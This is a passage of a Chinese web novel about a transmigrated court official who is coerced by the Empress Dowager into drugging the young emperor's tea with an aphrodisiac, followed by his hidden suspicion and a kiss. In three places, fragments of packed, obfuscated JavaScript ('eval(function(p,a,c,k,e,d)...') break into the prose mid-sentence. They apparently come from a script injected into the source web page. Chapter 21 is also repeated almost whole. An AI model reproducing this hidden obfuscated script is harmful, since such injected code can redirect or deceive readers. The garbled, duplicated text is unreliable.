这次骆明烛没有拒绝,但也没有立刻脱下衣服,他只说:“黛姐姐不会觉得很难看吗?” 云黛不觉得,不想废话,直接上手。 他穿的衣裳不多,外袍套着,没有系,里衣也松松垮垮的,很容易就能扯开。 云黛一拉开他衣领,就看到那道棕褐色的疤痕,与他的肌肤颜色格格不入,看着很想动手把这疤给撕了。 她刚想问当初是不是很痛,身后传来一阵响,回头一看,小福子震惊地望着他们,看看骆明烛,又看看她,最后瞪着她,说话都不利索:“尚仪大人你,你,你果然是——” 云黛把骆明烛衣衫合上,转身去解释,话刚起了个头,却听骆明烛说:“她在看孤的——”伤疤二字未说出来。 小福子不知道想到什么,涨红了脸,掉头就跑了,云黛连解释的机会都没有。 伸出的尔康手尴尬收回来,再一看骆明烛,怪不得小福子刚才会乱想。 少年天子仰着脖颈,还是方才任由她扒衣裳的姿势,纤长的脖颈线条蔓延到锁骨,再往下,是大开的衣领,那颗红痣点缀在锁骨上,身子稍微一动,红痣便跟着滑动。 紧接着云黛就看到了他胸膛上的殷红两点,昨日没有注意到,今日一看,脑子立刻播放昨晚做的春梦,匆匆移开目光,让他把衣衫穿好。 骆明烛抬手,慢条斯理地理衣衫,视线落在偏头不看自己的云黛身上,上下一扫,发觉她不对劲。 耳垂红了,手捏紧,站姿紧绷,像是在忍着什么。 收回视线,将衣衫扣上,却没立刻说自己已经理好,再度抬眸看这个女子。 她显然有心事,久久未回头看他,面部表情也不自然。 是因为某些,不可告人的事么。 骆明烛收了思绪,“孤整理好了。” 云黛这才转回头,对上他探寻的目光,浑身别扭,想着要怎么把桃花散的事说出口。 一方面她是不想让骆明烛知道袁络仪派她给他授课的真实目的,另一方面又不想自己小命被别人拿捏,现在骆明烛其实就是袁络仪的傀儡,他保护不了她。 云黛想了想,准备试探试探,要是骆明烛不在乎的话,她其实可以找解药,等那个黑衣人看到骆明烛中药后,再给他服下解药。 “我其实……”云黛犹豫着要不要把昨晚被威胁的事情说出来。 “尚仪大人有什么事要说吗?” “我是说如果,”云黛坐回去,屁股只碰到椅子边缘,有些局促道:“如果有人害你,你会怎么做?” 不等骆明烛回答,她又问,语气急了许多:“要是想害你的人,是你身边的人……” “若害孤的人,是孤在意的,”骆明烛凝视着她,缓缓开口,微妙的愉悦从心底溢出来,险些控制不住自己的唇角勾起。 “孤不会原谅。” 云黛呆愣了会,第一反应就是庆幸,那好啊,骆明烛肯定不在乎她,她就能下药了。 刚想将这话题岔过去,就听他说: “孤在意黛姐姐。” 少年天子弯起眼眸,眼里没有笑意,他像是戴了张笑脸面具,到了必要的时候,就将这面具戴上,获得自己想要的效果。 若是云黛此刻细看他就能发觉,但她注意力全在骆明烛这句“在意她”上。 “系统,我要闹了。” 云黛坐立不安,“我要是真给骆明烛下药,他会不会恨我。” “应该不会吧。” “可是梦里他就在问我为什么给他下药!” 20. 第 20 章 少年天子希冀的目光投过来,对上这样没有一丝杂质的眼神,谁都做不到忍心伤害他。 云黛不敢看他的眼,此刻只想跑路,跑得远远的。骆明烛怎么就在意她了呢,明明也才认识没多久,也不是一起经历了磨难成为生死之交,他怎么就在意她了呢? “那……”云黛艰难地开口,感觉自己嗓子被毒哑了,话都说不出来,“陛下你,为何会在意我?” 少年天子眨了眨眼,忽然直起上半身,靠近她,朝她伸手。 云黛猛地往后一退,没注意到身后就是椅背,动作太猛,后背砸到椅背上,疼。 “尚仪大人没事吧?” 他伸手要扶她,被避开。 云黛往后缩,避开他的手,说没事。 动了动胳膊,缓解一下后背疼痛,想起来就是因为他朝自己伸手,下意识躲避才撞到后背,犹豫又疑惑地问他:“陛下方才是……” 骆明烛收回了手,略有些落寞道:“孤见尚仪大人的头发戳到眼睛,想帮你撩开。没想到尚仪大人怕孤……” 云黛那是因为他一接近就想到那个春梦,自己吓自己,才撞到的,和他没关系。 她随手将头发撩开,认真问他:“陛下为何会在意我?” 骆明烛的回答至关重要。 从没有哪一刻像现在这样认真,直直盯着他,眼神炽热得要将人烧穿。 骆明烛缓缓靠了回去,双眼一瞬不瞬地看着云黛。 从她出现到现在,没有伤害过他,甚至还去袁络仪那救他。 是否真心,今晚便能知道。 他扬起笑容,戴上面具,谁都看不透他。 “孤觉得尚仪大人是个好人,对孤很耐心,上次还救了孤,孤很少能遇到像你这般善良的人。” 他的笑容看起来很纯粹,带着一点稚子的天真,让人不忍心告诉他真相。 “是个好人”,“善良”,这两个词放在云黛身上,当真是妙极了。 她扯出笑:“陛下是这么觉得的?” 少年天子真诚点头。 云黛想骂人。 “系统,书里没有这一段剧情吧,也没有原身被逼着给骆明烛下药吧?” 系统肯定地说没有,随即补充道:“你不按原书剧情走,打破剧情,就变成现在的局面。” “怪我喽。”云黛气得想直接拿菜刀把袁络仪砍了,到哪都遇不到靠谱的老板。 “今天就到这,你好好养病,等你什么时候好了能去书房,我再来。” 少年天子这次没有问她为什么,只是乖乖说了好,说等她下次来,一定会在书房认真听她授课。 云黛转身就走,门口看到小福子,见他那古怪又指责的眼神,本来不想解释的,走出去好几米,还是没忍住回来。 “我只说一次,你听好了。”云黛现在正气着,声音没控制好,“我和陛下什么关系都没有,我那是在关心他身体,你少造谣胡思乱想!” 这句“什么关系都没有”传到寝殿内,骆明烛瞧了她坐过的椅子好一会,才将目光移开,看向窗外。 一声冷笑在空气中消散,骆明烛整个人如雪山,寒气从他身体里散发出来,充斥这个死寂的寝殿。 没有声音了,云黛已经离开,小福子搞不懂她怎么出来后就生气,走到寝殿里,里头窒息的氛围压得他喘不过气,但还是没忍住担心他们。 “陛下,您与尚仪大人,又闹矛盾了了?” 骆明烛嗤笑:“为何你会觉得,孤会与她闹矛盾?” 小福子回想云黛走之前说的话,还有她坚定磊落的表情,觉得是自己误会了方才看到的那一幕,云黛不会做这种事,且上次她救陛下时,他就看出来了,她身上有股不服输的劲,且很会取巧,不是那种会和陛下置气的人。 那问题就在陛下身上了。 “奴才是觉得,陛下有心结,无法对尚仪大人敞开心扉,尚仪大人可能误会陛下了,所以才生气离开。” 骆明烛的注意力却在后一句话上,“她生气了?” 小福子点头:“尚仪大人与奴才说话时,语气可冲了。” 本来还担心陛下被云黛欺负,现在却想着陛下若是不解释清楚,云黛怕是要一直生气。 “她确实生气了。”骆明烛放松了身子,倚靠在床栏上,幽幽说:“离开时,特地说了,待孤病好,才来教孤。” “不想来的借口罢了。” 原话是能去书房再来教。 他现在便可去书房,但不想去。 小福子一听,着急了,“尚仪大人这也是担心陛下你身子,怕您病重了才这么说的。” “这其中必定有什么误会。”小福子急得要跺脚,大脑飞快运转,想解决办法。 瞧着他心都快扑到云黛身上,骆明烛冷了眼,不耐地敲了敲床栏,正要让他出去时,小福子两眼一亮,想到个好主意。 “奴才去与尚仪大人解释解释,请她来乾坤宫,与陛下解除误会。” “前些日,你不是很防备她么,怎的今日变了性子,一个劲为她说话?” “奴才是觉得,能冒险去太后那救您的人,不会是坏人。” 骆明烛沉默良久,眸中划过讥笑。 “去请她来。” 小福子一喜,转身就要去追人,被骆明烛勒令,“不是现在。” 骆明烛抬眸望向窗外,瞧见那郁郁葱葱的树,笑容扩大,“叫她今晚,天黑时再来。” 小福子搞不懂为什么要等天黑,但既然是陛下要请云黛来,定然是想好好说清楚的,连连点头,说:“奴才知道了,是现在去说,还是晚些时候?” 骆明烛睨他一眼,小福子立刻反应过来,说:“再过几个时辰,奴才去说。” 他又隐蔽地瞧了周围好几眼,没看见打斗痕迹才放心。 “陛下可还有其他事要吩咐?” 骆明烛让他退下。 小福子哎了一声,后退着离开。 骆明烛再度望向窗外的树,缓缓勾起唇。 今晚,便知她是真心,还是假意。 云黛又被王嬷嬷逮到了。本来她还心虚,以为是袁络仪发现她捣鬼,结果一去,就是问她“教学进度”,一本正经忽悠几句后,袁络仪直接在她面前摔杯子。 “吓我一跳。”她再次和系统蛐蛐袁络仪:“你说这人这么狠心,哪有这么当妈的,一点都不心疼自己儿子。” 系统:“确实狠心。” 云黛还想像之前那样和系统唠嗑,等袁络仪说完她要说的,就假模假样应几句,回去了。 结果这次没有。 袁络仪知道她今天只去乾坤宫待了一会,定然没有仔细教,这次,她想了别的法子。 “王嬷嬷跟着你去,她在外头守着,你在里面教。” 云黛猛地抬头看袁络仪,震惊得说不出话。 “你瞧瞧你瞧瞧,这是人说的话吗?这是人能想到的馊主意吗?系统,你不觉得这很离谱吗?” 系统一时语塞,不敢说话。 “你放心,今晚事成,定然不会亏待你。” 云黛低头,怕自己没能控制好表情,被袁络仪看出破绽。 她说:“可是陛下近些日子身子不适,不宜——” “哀家的话,你也不听了?”袁络仪将王嬷嬷端来的新茶盏重重放下,发出的声音又吓了云黛一跳。 她还能说什么,只能点头,立刻答应,今晚就干。 从永寿宫出来后,云黛抬头望天,日头不大,但也不冷,偏偏她就是觉得这永寿宫阴嗖嗖的,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云黛觉得没有误会,一切都是她自己心里过意不去。现在谁都在推着她对骆明烛做不好的事,这次避开,还有下次。 只有彻底解决他们的顾虑,才会放松对她和骆明烛的监视,她才有机会扳倒袁络仪。 云黛点了头,艰难的说好。 小福子肉眼可见地轻松了许多。 “那今晚,尚仪大人一定要来。”他等云黛点头才离开。 云黛望着手里的干花瓣,问系统:“你觉得我演技好吗?” 系统不知道。 “今晚让你看看我的演技。” 她就不信了,她会搞不过思维古板的老女人! 将花瓣和瓷瓶都藏好,天快要黑时,王嬷嬷来了,催她去。 “嬷嬷别着急啊,我这么急急去,陛下定然会问。最近陛下身子不大好,饮食清淡,我去厨房给他端碗粥送过去,他便不会问。” 王嬷嬷没信,但由着她去做。 云黛端着粥,走到乾坤宫,看见小福子脸上的笑在见到王嬷嬷后就消失了。 她特意大声说:“太后关心陛下身子,特地叫王嬷嬷来看看,我与她在路上碰到,便一起来了。” 小福子知道绝对不是她说的那么简单,立刻进去通报。 里头点着烛灯,骆明烛就在屏风后。 云黛忽然觉得自己在做一件坏事,心虚得心跳加速,刚端进去,外头就响起王嬷嬷的声音。 “云尚仪可别忘了正事。” 云黛心里骂了几句,刚要把粥放下,就对上骆明烛幽深漆黑的眼。 屏风后没有点灯,有点黑,她看不太清楚,只感觉到骆明烛一直在盯着自己。 心跳漏了一拍,忽然有种黑暗中被猛兽盯上的心慌。 “尚仪大人要做什么正事?” 21. 第 21 章 云黛现在不仅心虚,还不敢看骆明烛,上午他刚说在乎她,晚上她就要对骆明烛做坏事,还得当着王嬷嬷的面去做。 “系统,你有复活甲吗?” 系统声音凉凉:“没有。” 云黛喘了口气,只能硬着头皮上了。 “太后今日嘱托臣,要臣来看看陛下。”一张嘴就是谎话,云黛实在是没招了,三波人盯着她,如果那黑衣人是袁络仪的人,那就是两波。 不按袁络仪说的做,砍头,不下药,被杀,要按他们说的做,那就会伤了骆明烛的心。 做人好难啊。 骆明烛笑了一下,声音很轻:“母后让云尚仪来看孤?” 这句话本来就是个很普通的问句,但在两个各有心事的人听起来,心虚极了。 “太后很关心陛下,若非陛下做错了事,太后也不舍得罚陛下。” 云黛不喜欢听这种虚伪的话,往骆明烛面前一挤,挡住王嬷嬷,丝毫不管王嬷嬷瞪过来的眼,背对着她说:“这里有臣照顾,嬷嬷不是还有些事要处理么?快去吧。” 王嬷嬷自然是惦记着今日来要做的事,但她没有立即离开,明里暗里警告云黛:“云尚仪可不要忘了太后叮嘱过的,若是云尚仪再要忘,这次太后可不会念在你往日管理尚仪局有功的份上心软放过你。” 云黛忍不住翻了个白眼,心里蛐蛐她。 没注意到一直有一个人在观察自己。 她确实很少露出这样失礼的表情,骆明烛垂眸,看着她还端着的碗,眸色幽深。 “臣知道该怎么做,但现在这个时候,嬷嬷你在此处看着,臣很难发挥好。” 王嬷嬷不理她,转头朝骆明烛道:“那陛下好好养着身子,近些日子太后忙于朝政,没有时间来看陛下,待日后太后有时间,便来看陛下。” 少年天子乖巧说了好,没有多言。 云黛一直背对着王嬷嬷,王嬷嬷想给云黛警告的眼神都给不了,硬是咳了好几声让她转身看自己,她连头都不回。 王嬷嬷只得出声警告她,“云尚仪可别忘了自己要做的事。” 云黛点头,都快控制不住自己想骂人。 王嬷嬷又看了她好几眼,才出了寝殿,外头一见到小福子,当即支走他。 “陛下想吃宫外的杏仁糕,你去御膳房看看,若是没有,叫厨子现做。” 小福子疑惑,陛下从不吃糕点,正要进去问问,就听王嬷嬷压低声音斥责自己:“怎么,你连陛下的话都不听了?” 小福子心惊,被唬住,连忙去御膳房准备。 等他走远,王嬷嬷又环视四周,将外头守着的宫女全都支走,才悄咪咪回了寝殿外守着。 今晚,必须要让太后的计划成功。一个傻子,太后能留他这么久,已经是仁慈! 她在墙角听了半晌,也没听到里头有动静,但没有一丝紧张。云黛若想保住脑袋,今晚必须动手,她若是全须全尾地出来了,那便没必要再留着她。 今晚,就看她想不想活了。 寝殿里头确实安静,云黛坐在椅子上,盯着手里的粥半晌,都没有说话。 “系统,今晚过后,骆明烛会不会和我绝交?” 系统蛐蛐她:“你不是已经想好了给他下药,再给他喂解药吗?” “想法是好的,但是实现起来很困难啊。” 就算之前骆明烛是纸片人,但现在他活生生就在她面前,怎么可能做到一点都没有负罪感,直接下药。 怪就怪她道德感太强,小时候在马路边捡到一分钱都要交给警察叔叔呜呜呜…… 骆明烛的声音打断她的思绪:“尚仪大人带来的粥,就要凉了。” 云黛回神,又好像没回神,直接把粥递出去,脱口而出:“我从御膳房带来的,你吃吗?” 幽深的眼眸瞧着这碗白米粥,骆明烛意有所指地说了一句:“往日里小福子端来的粥会带些东西装饰,怎么这次尚仪大人带来的,没有?” 云黛啊了一声,低头一看,就是普通的一碗粥。去御膳房的时候在想事情,随便让厨子盛了一碗,谁知道他还要东西装饰。 当皇帝真好,有人伺候,吃穿不愁。 她可愁死了。 “要不这碗不要了——” “孤还未用晚膳。” 云黛一愣,木讷地哦了一声,把碗递给他,骆明烛伸手接过。 晚上寝殿里灯火足,照得很清楚,云黛目光一下就被他的手吸引,上午的划痕已经不在了。 她在想要怎么成功把桃花散下给骆明烛。 关键是这东西她又没见过,不知道生效的时候骆明烛会产生什么样的反应,应该不会变得猛兽一样,把她吃了吧。 想到这,云黛打了个寒颤,觉得冷。 “系统,书里有人吃下过桃花散吗?” 系统基本上已经会背了,很快回答她:“没有,桃花散只出现了一次,还失败了。” “不是吧……” 云黛瞅着骆明烛喝粥,心道自己幸好没在粥里下药,不然她现在都想不到要怎么解决。 她想着想着,想出了神。刚抿了一口粥的人察觉到,动作一顿,抬眸望她。 这人确实如同他所观察的那般,很容易为某些事陷入烦乱之中。 比如袁络仪让她接近他,比如那晚,他用她的命威胁她给自己下药。 不知她是真的善良,还是胆小,这碗粥里没有药。 骆明烛只吃了一口,将碗放到边上矮桌上,心中莫名烦躁。 垂下的眼睫在眼底覆盖上了一层阴影,叫人看不清他眼底情绪,但他此刻浑身散发出来的躁动,对情绪敏感的人还是能看出一些。 可云黛看不出来,她不仅看不出来,还问他是不是粥不好喝。 骆明烛顺势点头,面上有了厌色:“没有味道。” 这句话就是个引子,引云黛下药。 云黛站起来,刚想把粥端走,就听骆明烛说他想喝茶。 去端碗的手一抖,她说了好,“我去给陛下倒茶。” 她端着基本上没怎么动过的碗,走出去,每一步,都像是给自己上刑。心跳得越来越快,看到桌上放的茶壶后,几乎走不动道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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搭在床栏上的手轻轻敲击,一指落下,另一指紧随其后。 发出的声音不大,节奏也不快,偏就叫云黛心中不安。 “云尚仪确定这是为孤倒的?” 云黛犹豫了一下,只那么一会就点了头,其实看不出来她犹豫。 敲击的声音停下,骆明烛深深望着她,眸中划过讥笑。 视线再转到那杯茶上,目光幽幽,心中更是烦躁。料到她会这么做,但没想到她竟然没有一丁点犹豫。 骆明烛伸手,端起茶盏,移到口边。 饮茶的动作一顿,他鬼使神差地问她:“白日里孤对云尚仪说,孤在意你,那云尚仪呢,你也在乎孤吗?” 云黛看到了他满是期盼的眼,在说实话与撒谎中思索了一秒,艰难开口:“我也在乎陛下。” 少年天子笑了出来,笑容灿烂,任谁都会看花了眼。 而此刻云黛心里有的,只是愧疚。 “那便好。” 骆明烛垂眸,看了眼手中茶盏,杀意与讽刺爬上眼眸。 骗子。 他盯着云黛,一口喝下。 22. 第 22 章 啪嗒一声,茶盏被放回了矮桌上。 声音明明不大,云黛却莫名心慌,脑中不断回荡茶盏搁在矮桌上的声音,更烦了。 “你有没有……”话刚起了个头,骆明烛便背过身,躺下了,看都不看她。 “孤有些不舒服,云尚仪若是无事,便离开吧。” 云黛怎么可能走,还没给他吃解药,王嬷嬷在外头守着,这要是出去,要死翘翘的人就是她了。 “我有件很要紧的事与你说,我——” 骆明烛没有情绪起伏的声音响起:“孤乏了。” 很明显,他是要赶她走。 “只一会,你只听我说完,很快就好。” 但骆明烛没有给她一丝目光,背影看起来充满抗拒。 云黛只好直接开口:“陛下,我其实——” “孤不想听。”他的声音听起来很疲倦,还有几分沙哑,“孤想一个人休息。” 云黛不知道发生了什么,明明方才还好好的,喝完药他就这么抗拒他,难道是发现她做的坏事了? 她看了一会,没见着骆明烛有什么反应,以防万一还是得把解药给他吃了。 云黛刚要把花瓣拿出来塞他嘴里,外头忽然哐当一声响,下意识往那边望,紧接着传来一声惊呼。 她第一反应就是想到那晚威胁自己的人来了,脑子紧绷,回头一看骆明烛躺在那一动不动,看起来没有什么反应,药效暂时应该没那么快生效。 云黛一句话没说,往外去。 脚步声越来越弱,床上躺着的人睁开的眼里,满是杀意。 云黛一走出去,外头看起来没有丝毫变化,她再往前走了几步,远远瞧见门口探进来一只手,手上的金戒指反着光。 松了口气,没有再往前。 那金戒指是王嬷嬷手上戴的,看样子她是被什么人敲晕了,这样才好,不用管她盯着,要是到时候她问起来,她就说自己在和骆明烛那啥,没看见她晕倒了。 她不问,自己就装不知道。 悄悄走到外头,张望了几眼,没有人,小福子不在,那晚威胁她的人要么就在暗处,要么没来。 再看了几眼,云黛转身就回去,没走几步,屏风后传来清脆的碎响,紧接着一声闷哼。 云黛脚步一顿,心不安地狂跳,随后快步跑回去,接近屏风时,一脚踩到尖锐的东西,低头一看,是茶盏碎片。 不安迅速扩大。 她迈脚继续往里走,看到眼前场景的瞬间,呼吸都停滞了。 屏风后,地面满是茶盏的碎片,散了一地,如同绽放的花。 而骆明烛趴在床上,伸出的手臂上被划出了一道口子,血珠冒出来,滴落在碎片上。 看到她回来的瞬间,他仰起头,只这么看着她,不过一会,眼里蒙上了水雾。 他艰难地抬起手臂,声音听起来很奇怪:“黛姐姐,孤难受……” 云黛什么话都说不出来了,慌忙冲向他,却不敢碰他。 他的手臂在滴血,脸上攀上潮红,呼吸粗重,眸光紧紧盯着她,像是一把坚不可摧的锁,将她锁在牢笼里,哪都去不了。 “怎么会这样……”云黛脑子里想着要拿东西给骆明烛包扎,手里动作乱成一团,“绷带,纱布……” 没有,没有,哪都没有! 云黛急急问他:“纱布在哪?你的手要包扎。” 骆明烛只看着她,眼神表层是委屈和无助,看着像是无故被惩罚,难受还痛苦。 里面压着的,却是狠厉,只要她再靠近一步,他这只流血的手,就会掐断她的脖颈。 说在意她是假的。 互相欺骗,谁也不欠谁的。 他仍套着那层乖巧的皮,等着她靠近,等着她把脆弱的脖颈送到自己手里。 机会已经给过她了,但她骗了他。 “孤不用包扎。” 云黛一愣,旋即盯着他看。 她没在骆明烛眼里看到很疼的反馈,他说这句话时,只是冷漠看着自己流血的手臂,没有喊疼,更没有跟她说他害怕。 心脏好像被针扎了一下。 随后扎两下,三下,无数下,密密麻麻的刺痛,让她呼吸不过来。 说起来,是她自己被威胁后,选择给骆明烛下药,骆明烛还说在意她,可自己却对他做了这样的事。 云黛没有理他这句话,只闷闷出声:“就是要包扎。”她的语气听起来像是在耍赖,跟个小孩一样,不管有没有正当理由,就是要这么做。 骆明烛不为所动,张开了五指,缓缓抬起来,下一秒,被冰凉的东西盖住。 他的动作被突然砸下来的帕子止住,视线里闯入一块白净的布,还有点温度,像是从身上刚扯下来。 云黛蹲下来,一声不吭地给他包扎伤口。 一指多长的血痕从他手腕蔓延到指缝,触目惊心,多看一眼心都要被多刺痛一下。 没有想过自己计划失败会是什么结果,她来到这里,本来就没有把这里当成真实的世界。 但现在,会因为一个人受伤而难受。 云黛扯下自己里衣干净的部分,将帕子包住伤口,再给他缠好。 包扎过程中一句话都没说。 她一直低着头看他的手,看到这只白得不正常的手上被自己勒出了青筋,慌忙松开。 这个时候才说了一句话:“疼吗?” 她的声音颤着,声音很低,一说出来,就能让人感觉到她在愧疚。 骆明烛望着她低垂的脑袋,无声地笑了。 “疼。” 但他感觉不到疼。 现在假惺惺问他疼不疼,给他包扎,不过是为了掩盖自己犯的错,没有一丁点真心。 他握住了自己的手,刚要松开,将她杀了,却被她先一步掰开手指,还责怪他:“不要用力,会流血的。” 他垂眸看着这个全都是虚情假意满口谎话的女子,笑容不减。 若云黛此刻抬头,就能发现他是以一种极为轻蔑的眼神看她,眼底的讥笑看得人恼火却又没办法辩驳。 因为她就是这么做的,没有一点借口能让她洗清自己做的坏事。 云黛松开了他,还蹲着,没有看骆明烛。 寝殿内安静得诡异。 骆明烛来回拨动手腕上的布,她打了个死结让看上去很牢固,怎么都晃不散。 有什么用呢?流出的血,还能收回去吗? 他收回手,刚要叫走她近一点,好叫他杀了她,她却突然动了。 她把她自己衣摆扯断,去捡地上的碎片。动作很快,没有一丝犹豫,还很熟练。 手腕因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朦胧的烛光映照在她脸上,她应该是哭红了眼,脸颊上两道泪痕,一滴泪滑落到她下巴,忽然觉得心头很痒,他伸出手指,指腹抹去了这滴泪。 还是温热的。 骆明烛茫然望着她,想要杀她的心在看到她拿出的桃花时,竟然被打消了。 她做好了准备,给他下了药,却找到了解药。 所以她想用解药来抹去今晚所做的一切,对他做了坏事,却以为这样就能当做没发生过? 不可能。 少年天子忽然惊呼一声,身子卸力一般倒在云黛肩膀上,吐出的呼吸炽热。 他难受地去扯自己的衣领,在她耳畔低低喘息:“黛姐姐,孤好难受……” 云黛立即往他嘴里塞花瓣,都顾不上他在自己脖颈间乱蹭。 抓了一把桃花,偏头去看他时,人忽然被抱住,骆明烛蹭了过来。 云黛对上他氤氲雾气的眼,随后唇上碰到了凉凉的东西。凉凉的,像果冻一样。 少年天子发出一声沙哑的喟叹,唇贴着她的,缓缓摩挲。 云黛手里的花瓣散了一地。 她甚至都没反应过来,震惊得下意识张开了口,却给了他深入的机会。 骆明烛含着她的唇,哑声呢喃:“黛姐姐……” 20-30 第21章 云黛现在不仅心虚,还不敢看骆明烛,上午他刚说在乎她,晚上她就要对骆明烛做坏事,还得当着王嬷嬷的面去做。 “系统,你有复活甲吗?” 系统声音凉凉:“没有。” 云黛喘了口气,只能硬着头皮上了。 “太后今日嘱托臣,要臣来看看陛下。”一张嘴就是谎话,云黛实在是没招了,三波人盯着她,如果那黑衣人是袁络仪的人,那就是两波。 不按袁络仪说的做,砍头,不下药,被杀,要按他们说的做,那就会伤了骆明烛的心。 做人好难啊。 骆明烛笑了一下,声音很轻:“母后让云尚仪来看孤?” 这句话本来就是个很普通的问句,但在两个各有心事的人听起来,心虚极了。 “太后很关心陛下,若非陛下做错了事,太后也不舍得罚陛下。” 云黛不喜欢听这种虚伪的话,往骆明烛面前一挤,挡住王嬷嬷,丝毫不管王嬷嬷瞪过来的眼,背对着她说:“这里有臣照顾,嬷嬷不是还有些事要处理么?快去吧。” 王嬷嬷自然是惦记着今日来要做的事,但她没有立即离开,明里暗里警告云黛:“云尚仪可不要忘了太后叮嘱过的,若是云尚仪再要忘,这次太后可不会念在你往日管理尚仪局有功的份上心软放过你。” 云黛忍不住翻了个白眼,心里蛐蛐她。 没注意到一直有一个人在观察自己。 她确实很少露出这样失礼的表情,骆明烛垂眸,看着她还端着的碗,眸色幽深。 “臣知道该怎么做,但现在这个时候,嬷嬷你在此处看着,臣很难发挥好。” 王嬷嬷不理她,转头朝骆明烛道:“那陛下好好养着身子,近些日子太后忙于朝政,没有时间来看陛下,待日后太后有时间,便来看陛下。” 少年天子乖巧说了好,没有多言。 云黛一直背对着王嬷嬷,王嬷嬷想给云黛警告的眼神都给不了,硬是咳了好几声让她转身看自己,她连头都不回。 王嬷嬷只得出声警告她,“云尚仪可别忘了自己要做的事。” 云黛点头,都快控制不住自己想骂人。 王嬷嬷又看了她好几眼,才出了寝殿,外头一见到小福子,当即支走他。 “陛下想吃宫外的杏仁糕,你去御膳房看看,若是没有,叫厨子现做。” 小福子疑惑,陛下从不吃糕点,正要进去问问,就听王嬷嬷压低声音斥责自己:“怎么,你连陛下的话都不听了?” 小福子心惊,被唬住,连忙去御膳房准备。 等他走远,王嬷嬷又环视四周,将外头守着的宫女全都支走,才悄咪咪回了寝殿外守着。 今晚,必须要让太后的计划成功。一个傻子,太后能留他这么久,已经是仁慈! 她在墙角听了半晌,也没听到里头有动静,但没有一丝紧张。云黛若想保住脑袋,今晚必须动手,她若是全须全尾地出来了,那便没必要再留着她。 今晚,就看她想不想活了。 寝殿里头确实安静,云黛坐在椅子上,盯着手里的粥半晌,都没有说话。 “系统,今晚过后,骆明烛会不会和我绝交?” 系统蛐蛐她:“你不是已经想好了给他下药,再给他喂解药吗?” “想法是好的,但是实现起来很困难啊。” 就算之前骆明烛是纸片人,但现在他活生生就在她面前,怎么可能做到一点都没有负罪感,直接下药。 怪就怪她道德感太强,小时候在马路边捡到一分钱都要交给警察叔叔呜呜呜…… 骆明烛的声音打断她的思绪:“尚仪大人带来的粥,就要凉了。” 云黛回神,又好像没回神,直接把粥递出去,脱口而出:“我从御膳房带来的,你吃吗?” 幽深的眼眸瞧着这碗白米粥,骆明烛意有所指地说了一句:“往日里小福子端来的粥会带些东西装饰,怎么这次尚仪大人带来的,没有?” 云黛啊了一声,低头一看,就是普通的一碗粥。去御膳房的时候在想事情,随便让厨子盛了一碗,谁知道他还要东西装饰。 当皇帝真好,有人伺候,吃穿不愁。 她可愁死了。 “要不这碗不要了——” “孤还未用晚膳。” 云黛一愣,木讷地哦了一声,把碗递给他,骆明烛伸手接过。 晚上寝殿里灯火足,照得很清楚,云黛目光一下就被他的手吸引,上午的划痕已经不在了。 她在想要怎么成功把桃花散下给骆明烛。 关键是这东西她又没见过,不知道生效的时候骆明烛会产生什么样的反应,应该不会变得猛兽一样,把她吃了吧。 想到这,云黛打了个寒颤,觉得冷。 “系统,书里有人吃下过桃花散吗?” 系统基本上已经会背了,很快回答她:“没有,桃花散只出现了一次,还失败了。” “不是吧……” 云黛瞅着骆明烛喝粥,心道自己幸好没在粥里下药,不然她现在都想不到要怎么解决。 她想着想着,想出了神。刚抿了一口粥的人察觉到,动作一顿,抬眸望她。 这人确实如同他所观察的那般,很容易为某些事陷入烦乱之中。 比如袁络仪让她接近他,比如那晚,他用她的命威胁她给自己下药。 不知她是真的善良,还是胆小,这碗粥里没有药。 骆明烛只吃了一口,将碗放到边上矮桌上,心中莫名烦躁。 垂下的眼睫在眼底覆盖上了一层阴影,叫人看不清他眼底情绪,但他此刻浑身散发出来的躁动,对情绪敏感的人还是能看出一些。 可云黛看不出来,她不仅看不出来,还问他是不是粥不好喝。 骆明烛顺势点头,面上有了厌色:“没有味道。” 这句话就是个引子,引云黛下药。 云黛站起来,刚想把粥端走,就听骆明烛说他想喝茶。 去端碗的手一抖,她说了好,“我去给陛下倒茶。” 她端着基本上没怎么动过的碗,走出去,每一步,都像是给自己上刑。心跳得越来越快,看到桌上放的茶壶后,几乎走不动道。 “系统,我要干坏事了。” 系统安慰她:“别紧张,干多了就习惯了。” “这种事我一次都不想干!” 但她还是把桃花散下在茶里面了,以防万一还干吃了好几片花瓣。反正是解药,口服和含片应该没什么区别吧。 几次深呼吸后,端起茶盏走进里面,本来这几步路已经做好心理准备,但一看到骆明烛望过来的那眼神,气全都泄了。 “我觉得我做不到,怎么都做不到。” 云黛现在手不抖,也不心虚,只觉得愧疚。 她怎么能对一个在意自己的人做这种事呢。 “没事的,你不是带了解药吗,给骆明烛喝完茶,你就给他含花瓣,把今晚糊弄过去就行。” 话是这么说,真做起来,一点都不简单。 尤其是骆明烛问她时,云黛都想把手里的茶盏直接扔了。 “这是尚仪大人给孤倒来的茶吗?” 云黛点了头,说是,随后将茶盏递过去。 茶盏中茶水微微晃动,烛光倒映其中,隐约间有什么凝固的东西在里头晃。 骆明烛看了好一会,却没有接,对云黛说:“尚仪大人今晚前来看孤,又说了那么多话,该是很累,尚仪大人先喝吧,解解渴。” 云黛大脑轰鸣,有一瞬的宕机,才找回思路,将茶盏推了回去。 “这是给陛下倒的,我不渴。” 幸好提前吃了解药,不然真要出事。 骆明烛却笑道:“云尚仪反应好大,孤只是想你不要那么累,云尚仪险些把茶洒出来。” 云黛低头看了眼,确实差点被自己晃出来,她笑不出来,只将茶盏放到他床边矮桌上,坐了回去,嗓子紧得慌:“陛下先把茶喝了,我有件事想要陛下配合。” 奇怪的是,以往她这么说时,骆明烛已经听她说的去做了,这次却没有动。 